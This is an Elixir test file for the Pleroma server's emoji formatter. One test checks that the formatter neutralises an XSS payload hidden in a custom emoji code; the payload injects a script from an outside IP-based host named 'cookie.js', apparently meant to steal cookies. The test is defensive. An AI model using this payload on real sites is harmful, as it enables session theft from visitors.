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# Pleroma: A lightweight social networking server
# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
alias Pleroma.Emoji
alias Pleroma.Emoji.Formatter
use Pleroma.DataCase
describe "emojify" do
test "it adds cool emoji" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji =
{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
"https://placehold.it/1x1"
}
|> Pleroma.Emoji.build()
refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
end
end
describe "get_emoji" do
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox",
%Emoji{
code: "firefox",
file: "/emoji/Firefox.gif",
tags: ["Gif", "Fun"],
safe_code: "firefox",
safe_file: "/emoji/Firefox.gif"
}}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
end
end
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